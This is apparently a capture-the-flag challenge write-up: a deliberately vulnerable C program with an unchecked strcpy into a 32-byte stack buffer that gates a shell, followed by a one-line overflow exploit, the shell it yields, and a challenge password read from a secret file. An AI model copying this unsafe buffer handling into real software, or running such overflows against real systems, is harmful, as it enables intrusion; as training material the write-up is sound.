Source :
#include <stdlib.h> #include <string.h> void func(char *str) { char buffer[32]; strcpy (buffer, str); } int main (int argc, char **argv) { volatile int i = 0; if (argc > 1) func (argv[1]); if (i) system ("/bin/sh"); return EXIT_SUCCESS; }
Solution :
./vulnerable `python -c 'print "A"*32'` sh-4.2$ cat ./.secret Kahwaujoo1